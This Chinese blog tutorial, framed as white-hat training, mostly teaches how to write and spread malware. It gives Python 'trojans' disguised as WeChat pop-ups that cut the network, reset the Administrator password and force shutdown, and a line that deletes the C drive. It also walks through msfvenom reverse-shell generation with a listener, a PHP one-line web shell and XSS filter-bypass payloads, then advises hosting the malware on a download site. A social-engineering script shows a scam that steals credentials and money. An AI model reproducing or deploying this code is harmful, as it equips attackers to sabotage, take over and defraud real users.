让你成为白帽子黑客(中级篇)


相关说明

本章所讲述的所有黑客技术,均不得用于非法目的。
如果你觉得文章含有侵权部分,可以联系CSDN私聊,我会适当修改。
未经允许,不得转载,如需转载,请CSDN私聊。


引子

从中级篇之后,我们的开场就不一样啦!
换了台新电脑,很多软件都换了,所以我就干脆从新改一下开场白。

虚拟环境——VMware

之前的VirtualBox不用了,现在我用VMware。
安装VMware Workstation 15 Pro:
在这里插入图片描述
下载安装,打开后,你应该看到是这个样子:
在这里插入图片描述

创建攻击对象和攻击机

我们需要创建几台计算机:
Kali(攻击机) Windows10(用户机) Windows7(用户机)
暂时创建这么几个,XP,Server等也可以安装,之后如果用到了的话我会讲。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
点击完成,然后导入iso文件,开机即可:
在这里插入图片描述
Windows10是微软一个优秀的操作系统,据说也是微软Windows系列的最后一个发行版。
Windows10比之前任何一款操作系统的综合防御能力都要强,所以我们也要学习怎么入侵Windows10。
Windows 7操作系统也是一个比较重要的系统,XP之后,随着UAC等防御机制的发布,系统也不弱,所以,我们也要学习攻击。

Win7:
在这里插入图片描述
Kali(这里我换成旧版Kali):
在这里插入图片描述
Kali真的非常爽,我们用Kali,随随便便能攻击一台计算机,随随便便能攻击一个网站。
当然,一切都是在虚拟环境下的。

Python安装

这个我就不说了,之前文章都有。
安装完成之后,输入代码来测试:

print("Hello World")

输出如下:

Hello World

这代表你的IDE可用。

测试虚拟机的网络适配器

如果我们要做内网渗透,我们要将攻击机和用户电脑放在一个局域网内。如果我们做Web相关的渗透,我们则需要把攻击机设为NAT模式。
在这里插入图片描述
VMnet0是可以上网的,也可以做一些渗透。
之后我们需要根据实验需求,修改虚拟机的网络适配器,就在设置里面设置。

查看Windows和Linux的IP地址

很多人都不会调IP,那么这里对Windows和Linux的IP地址查询做一下讲解。
Windows系统是在cmd里面调取的。
打开Windows:
在这里插入图片描述
按下Windows + R,输入cmd:
在这里插入图片描述
然后在黑框中输入ipconfig
在这里插入图片描述
其中的IPv4地址就是我们的ip地址。
打开Kali Linux的终端:
在这里插入图片描述
输入ifconfig
在这里插入图片描述
其中的eth0中的inet就是你的IP地址了。
调取IP地址是基本知识中的基本知识,一学就会。

1.制作断网木马

如果用户运行木马程序,就会断网,就这么简单。和原理一样简单。
在CMD中,断网使用的指令是:

NET STOP SERVICE

使用Python制作木马程序,可以用这个代码:

import os
os.system("net stop service")

断网木马,通常只是一个恶作剧木马。

2.制作弹窗木马

为了提高弹窗木马的真实性,我们将其伪装成一个程序,代码附上:

import tkinter.messagebox
import tkinter
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()

这是一个正常的程序,对电脑没有伤害,然后我们结合一个断网木马。

import os
import tkinter.messagebox
import tkinter
os.system("net stop service")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()

然后,我们弹窗。

import os
import tkinter.messagebox
import tkinter
os.system("net stop service")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()
tkinter.messagebox.showerror("错误", "Windows防火墙意外关闭")
tkinter.messagebox.showerror("错误", "Windows木马查杀工具意外关闭")
tkinter.messagebox.showerror("广告", "Windows驻西安皮革厂倒闭了!")
……………………………………

3.修改密码病毒

这个病毒可以修改电脑密码!
首先,我们编写伪装程序:

import tkinter.messagebox
import tkinter
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()

然后,我们通过CMD指令修改Administrator密码:

import tkinter.messagebox
import tkinter
import os
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()

修改好了密码,然后,我们断网:

import tkinter.messagebox
import tkinter
import os
os.system("net stop service")
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()

病毒正在提升威力!但是如果有人一直不关机怎么办?没关系!

制作强制关机脚本

立刻关机的CMD命令:

shutdown -s -t 0

如果设置的是一分钟后关机,那么:

shutdown -s -t 60

OK,通过这段代码,我们结合上面的代码,来开始制作!

import tkinter.messagebox
import tkinter
import os
os.system("net stop service")
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("错误", "程序打开错误!")
root.destroy()
os.system("shutdown -s -t 0")

我们通过一段段的学习,现在已经可以制作木马病毒了!

正章

上一篇中,我们学习了通过Windows的高危漏洞永恒之蓝入侵个人PC电脑,我们使用了msfconsole这个东西来攻击。
本章,我们会深入学习msfconsole以及Python编程,向白帽子黑客更进一步。
本章节还会学习很多的术语与操作,希望能为你带来帮助。

常见Web漏洞

一.SQL注入漏洞

这么来说吧,这个网站只要使用了数据库,一般都有被SQL注入的风险。这要看网站是怎么防护的。
SQL注入漏洞原理就是通过输入框输入的内容和SQL语句来拼接而成。

<?php
...
$input = $_GET['input'];
$get = "SELECT username From users WHERE username = '$input'";
...

这个就是典型的PHP注入漏洞代码。
SQL注入漏洞一直是网络安全漏洞中的头等大敌,每个企业都在尽力避免。SQL注入漏洞最高的危险就是数据库内容被获取,个人隐私泄露。试想一下,如果一个上万人注册的网站被SQL注入,那么,这个网站不得赔死。

在网站上寻找SQL注入点实现注入

一般只要有输入框和SQL语句是拼接的,都是SQL注入可以尝试的注入点。那么一般的网站,都是非常大而且杂的,所以我们要尝试在一个复杂的网站上试图寻找注入点。
去百度上寻找一个网站去练手吧!但是千万不要去攻击。

SQL注入防御

其实,一个网站必须使用数据库,只要使用了数据库,就都有被攻击的风险。具体的防护方法有很多,其中最为常见的就是过滤。
过滤就是将用户输入的危险字符通过某种转义方式改为不危险字符。其中危险字符就包括:

select, delete, insert, update, or, where......

等等,但是之过滤这些字符还不够,攻击者可以通过大小写混写来绕过防护,所以,我们需要通过正则表达式来防护。

白名单和黑名单

设置黑白名单也是有效的防护方法。通过检测用户的异常行为,并拒绝该IP地址向网站服务器发送请求。
例如一个网站,用户192.168.255.255向网站服务器发送请求,然后网站正常响应。但是用户192.168.255.255在输入框中连续输入危险字符超过一定次数,那么下次192.168.255.255再向网站发送请求的时候,黑名单已经记录了下来,然后请求被拒绝。
函数大体如下:

def defence():
    global i
    #过滤函数
    i = 0#计数器
    ......
    i += 1;
if i > 5:
    #封禁操作    

自动化软件

目前作者知道的主要是SQLmap以及啊D工具。这两个工具可以实现SQL注入。

二.XSS跨站脚本攻击漏洞

曾经一度被OWASP列为最危险漏洞。XSS,跨站脚本攻击,本质上也是一种注入攻击。最容易受到XSS漏洞影响的大多数是一些实时通讯功能,例如留言板,在线聊天室。
为什么XSS漏洞如此受重视?因为它的危害程度不亚于SQL注入攻击。如果一个网站存在XSS漏洞,那么攻击者可以执行任意的Js代码。

$input = $_GET['input'];
echo "$input";

最常见的测试指令,就是<script>alert(1)</script>。我们现在来看一下攻击案例。通过这个攻击案例来看一下XSS。

攻击案例

自己花了一点时间搭建了一个模拟某科技公司的官网。其中黑客容易攻击的地方主要有两处。分别是:
1.在线留言板:
在这里插入图片描述
这个点非常可能被攻击,重点考虑。
2.全站搜索
在这里插入图片描述
除了刚刚的留言板,这个是唯一的交互式输入框。虽说不打算考虑,但是我开发时没有任何过滤,所以也有注入风险。
留言板功能,我为了模拟真正的攻击,请了一个朋友帮我做了一个过滤,然后让我攻击。简单的尝试了一下。简单的尖括号,script,iframe,click等都过滤了,但是,好像唯独没有过滤img字符,这位老兄HTML没学好啊!尝试攻击,果然成功。
在这里插入图片描述
我问了一下他,还看了一下过滤代码,发现他是用的正则表达式,如果不用,那么以下的语句都是可以用的:

<scri<script>pt>alert(1)</script>
<scrIpt>alert(1)</script>
<script>alert(1)</SCript>
......

还有就是递归。当然,这里黑白名单也是可以用的。
其实,XSS漏洞的危害,取决于黑客的Js代码,如果一个不会编程的黑客,就算发现了XSS漏洞,那么最多弹框。

关于HTML转义

这就很难绕过了。
不过XSS Aditor是有办法绕过的,本人现在还在学习。

相关工具

我目前并没有发现什么有用的黑客工具可以用来XSS,所以手工注入的能力很重要。

三.暴力破解漏洞

相信大家应该都知道枚举(又称穷举),那就是通过一个个试,最终得到结果,机器最适合干这个事了,所以,暴力破解漏洞由此诞生。
通过Python可以实现暴力破解,主要使用的是request模块,这个模块可以处理网站,当然也可以用来爬虫。
一般来说,暴力破解漏洞存在于登入界面或者密码界面,最简单的例子就是管理员后台,有登入密码,以及常见的如“您的文件已加密,请输入密码”或者“请输入密码查看”等,人们总是认为这种方式能够防止数据被偷窃,但是,有暴力破解。
在这里插入图片描述
几乎所有网站都是用上图的登入方式。

弱密码

什么是弱密码呢?123456,888888,qwerty等都是弱密码,这些弱密码大多数都在黑客的密码字典中,所以,弱密码是最容易破解的。一般黑客的弱密码字典大多数在10-20MB,估算一下,大概有几百万个密码。
弱密码非常危险,所以,现在密码一定不要设置成弱密码。

暴力破解防护方法

行为验证码

行为验证码需要用户通过验证码,例如滑动图标,辨别图片等内容。有些大型的社交平台,如微博,有时候甚至需要两次行为验证。这对黑客暴力破解加大了难度。不过验证码也不一定安全,这就要看开发者怎么去开发了,有没有验证码失效制度。
我在互联网上找到了一个网站,所有的登入注册都需要验证。
注册(双重认证:行为认证和短信验证码):
在这里插入图片描述
账密登入:
在这里插入图片描述
短信登入(又是双重认证);
在这里插入图片描述

token放爆破机制

所谓的token,其实就是一个验证码,只不过验证码用户看不到,而是通过两端的token验证码进行比对,确认无误才能通过。
token放爆破机制其实也有绕过方式,同样是开发者的失效机制有没有开发好。

自动化工具

暴力破解就很多了。你们大可自己开发或寻找。

四.文件上传漏洞

文件上传是现在很多网站都具备的功能,例如说头像上传,资料上传等。那么,如果一个网站具有上传文件的功能,攻击者是不是就可以上传木马呢?
事实证明,如果网站对文件上传的后缀名,内容没有做任何审核,那么木马是可以上传成功的。
最简单的木马,就是只通过一句PHP代码来实现,简称PHP一句话木马。

<?php eval(@$_POST['a']); ?>

最后通过中国菜刀拿到整个网站的框架。

怎么过滤?

开发者通过对文件上传内容进行文件后缀名检测。比如作者之前有做过一个文件上传漏洞检测,就可以通过对特定的后缀名进行勘察。
例如一个功能,是上传头像,那么用户肯定不会上传一个php文件上去,所以,我们就可以规定这类文件可以上传:

.jpg  .png  .gif  .bmp 

但是,这太天真了。对于黑客来说,改个后缀名岂不是简简单单?
于是,新的防护产品诞生了!

安全狗

安全狗可以通过相关技术,挖掘文件内容,准确识别PHP一句话木马,网络木马等。但是,PHP有办法绕过一句话。

CSRF漏洞

这个漏洞的条件比较苛刻,CSRF其实是通过一个恶意链接,有待用户点击,然后修改用户内容。
CSRF通常出现在忘记密码。攻击者构造好链接之后,就可以修改相关信息。这里不多做介绍。

Web小结

了解了网站的常见漏洞之后,我们就可以找网站练手了。当然,如果我们挖到了漏洞,可以提交给SRC,这样还能挣钱!

病毒

病毒,就是黑客编写的计算机程序。通过这个程序,可以对用户造成损失等。
病毒会通过Web等方式传播,并且通常拥有自我复制能力,所以我们形象的成恶意程序为病毒。
木马本质上也是病毒,两者没有太大的差异。

  • 破坏性病毒
    这种病毒的危害就是破坏你的文件,他可能会删除你的所有文件,或删除制定文件。也可能例如无限打开浏览器,无限弹窗等,这对电脑也是有很大损害的。
    其实有些电脑,会出现一直蓝屏,亦或者打不开系统等,人们往往认为这是电脑硬件出了问题,其实,也有可能是一些病毒造成的。
  • 远控病毒
    这种病毒可以远程控制你的电脑,你甚至都可能察觉不到你的电脑正在被监控。他们往往可以远程下载文件带你的电脑上面,或者远程修改,打开你的文件,做键盘记录等。
  • 勒索病毒
    这种病毒在运行了之后就会加密你的所有文件,之后就要求你支付相应赎金来解密文件。最近爆发的WannaCry病毒就是勒索病毒,之后我们也会学习分析这些病毒。
  • 其他病毒
    还有其他例如密码盗取,恶意差评病毒等。

破坏性病毒

import webbrowser as web
web.open("www.baidu.com")

这段代码就可以打开百度首页,那么,我们把它改进一下,就变成了一个病毒:

import webbrowser as web
while True:
	web.open("www.baidu.com")

删除C盘也是一个方法,他的代码实现如下:

import subprocess as sub
a = sub.call("del C:\ ", shell=True)

破坏一个系统就是那么简单,一个简单的py程序就可能对系统造成破坏。
破坏性病毒的编写比较简单,我们制作的简单的病毒程序就会造成严重的损失。

msf远控木马

在终端输入:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f exe > virus.exe

生成木马病毒之后,然后生成控制端:

msfconsole
use exploit/multi/handler
set lhost 192.168.0.106
set lport 4444
exploit

最后,你会拿到meterpreter会话

meterpreter>

当你看到这个字符的时候,那就说明,你成功了。通过meterpreter可以做很多事,例如文件上传与下载,桌面监控,远程摄像头拍摄等等。

这类就是远控木马,这种木马的危害是远远大于破坏性木马的。

勒索病毒

勒索病毒的编写有一些难度,我们在这一篇中暂时不会接触。

传播

病毒做好了,我们要想尽一切方法来传播病毒。
通过网站传播是一个非常好的方法,我们可以自己制作一个网站。
如果你没有自己开发网站的能力,没关系,你可以使用工具——凡客建站。
这里我们不说了,我们通过编写代码来制作网站。


编写网站可以学习PHP,JSP,ASP,HTML等等


写一个网站,可以下载我们的恶意软件:
在这里插入图片描述
其实,我们也可以通过邮件或者广告等方式来传播我们的病毒,但是现在,我们暂时不学习。

拓展篇

大家在学习的过程中出现的问题,都可以通过百度自行解决,或者私信我。
如果你目前还无法理解这些知识,那么,请一定检查这些原因:

  • 跳着看的,之前的东西没有仔细看
  • 对于Python等编程不够了解
  • 对于计算机的基本了解太低
    好了,让我们开始学习吧!

病毒的常见特征实现

  • 自我繁殖
    自我繁殖技术是一个比较高超的学问,本章中我们只是介绍一些最简单的繁殖技术——复制。
    如果需要通过代码实现,那就是这样的。
import os
os.system("copy 路径 路径")
  • 注册表实现开机自启动
    注册表的开机自启动就是通过编码,将一个程序写入注册表,从而实现开机自启动。
    这里我们通过C++实现,这也是一种比较重要的语言,而且Windows系统也是基于C++开发的。
    C++HelloWorld实例:
#include <iostream>
using namespace std;
int main(){
    
    
	cout << "Hello World!" << endl;
	return 0;
}

那么关于WIndows的函数,我们通过这个库:

#include <windows.h>

好的,现在我们来了解几个函数:

RegOpenKeyEx:打开一个指定的注册表键。
RegSetValueEx:在注册表项下设置指定值的数据和类型。返回零表示成功,返回其他任何值都代表一个错误代码。

参考链接:
https://baike.baidu.com/item/RegOpenKeyEx/3716633
https://baike.baidu.com/item/RegSetValueEx/9735249
这样,我们就能大致实现自启动。
还有以下病毒的基本技术:

  • 资源释放
  • 自我压缩与解压缩
  • 提权技术
  • 自我隐藏

推荐大家学习《Windows黑客编程技术详解》,这篇文章具体的讲解了病毒在进入了用户电脑之后的一系列行为和编码实现,这里笔者就不多多解释了。

病毒小结

到这里,有关病毒的一部分就到此结束了。
其实病毒的广阔世界还有待我们探索。我们还没有完全了解病毒。
中国的灰鸽子,病毒,大白鲨等木马,告别了国外木马一统天下的局势,我们也可以学习怎么去使用它。
打开Windows10虚拟机,在虚拟机内安装小风黑客工具包,大家可以探索里面的工具。
在这里插入图片描述
大家也可以下载WannaCry,熊猫烧香等木马,自行研究,之后,在高级篇内,我会教授大家怎么反编译和研究这些木马病毒。

插曲:社会工程学

随着反黑客技术的越来越强,常规的黑客攻击手段越来越难实现,所以黑客大致就分为了两类:继续研究破解或绕过反病毒软件等,但是也有不少黑客选择了社工黑客。
社会工程学就是借助人性,主要表现在对于钱财的贪婪,对于社会的不满等。黑客通常会通过社会工程学,去打听到一些消息。
所以:人才是最大的安全漏洞

社会工程学使得黑客就像是一个特工一样,潜入秘密大楼,从而打听消息。
欺骗,就是社会工程学的本质。


(前期:用户大白在某网站上注册了一个账号,然后有一天发现网站的提现功能失效了,于是就找到了伪装成工作人员的黑客)
大白:搞啥玩儿,这钱怎么提不出来了?
黑客:您先别急,我来看看。
(过了5min)
黑客:你好,你的账号好像出了点问题。
大白:啥子问题?
黑客:emmm,似乎被黑客入侵了,前几天也是有一个这样的用户。
大白(傻眼了):黑客入侵?那咋办呢?我可存了10W+元呢!
黑客:您先告诉我账号密码,然后我帮你看看是什么问题。
大白:用户名:DB19990512 密码是那么qweqwe
(过了3min)
黑客:手机已经被攻击,你看看能不能把身份证信息告诉我,我帮您看看联合实名认证能不能帮您解决
大白:31020419900512375X
黑客:不好意思,你的手机已经被黑客掌控。
大白:玩了,我的钱啊!
黑客:没关系,我可以帮你。
大白:你拿什么帮我?
黑客:你先付我5000块钱,然后我帮您申请一个“防黑加固”。虽然钱取不出来了,但是之后钱还是可以正常存的。
大白:我的钱都没有了,存个****,我看你***就是玩我。
黑客:已经被黑客偷走的钱是要不回来的,所以你现在只能这样了!
大白:好吧。
(黑客账号多了5000元)
黑客:好了,下次小心点。
大白:OK


通过上面的故事,黑客成功拿到了大白的身份证号码,以及账号密码的信息,还多挣了5000块。这就是社会工程学的威力。

结束

好了,终于结束了,其实发现,做一个黑客还挺有意思的。
本人坚决反对学习者通过黑客技术违反法律,任何违反法律的事,都会受到法律的制裁。
如果你觉得我的文章对你有用,请在评论区留下你的鼓励吧!哪怕——那只是一个假的祝福,你们的鼓励,是我不断出各类教程的不断动力,真的。
如果不想,那就算了,希望你能在未来,势如破竹。

猜你喜欢

转载自blog.csdn.net/to_run_with_wind/article/details/108542652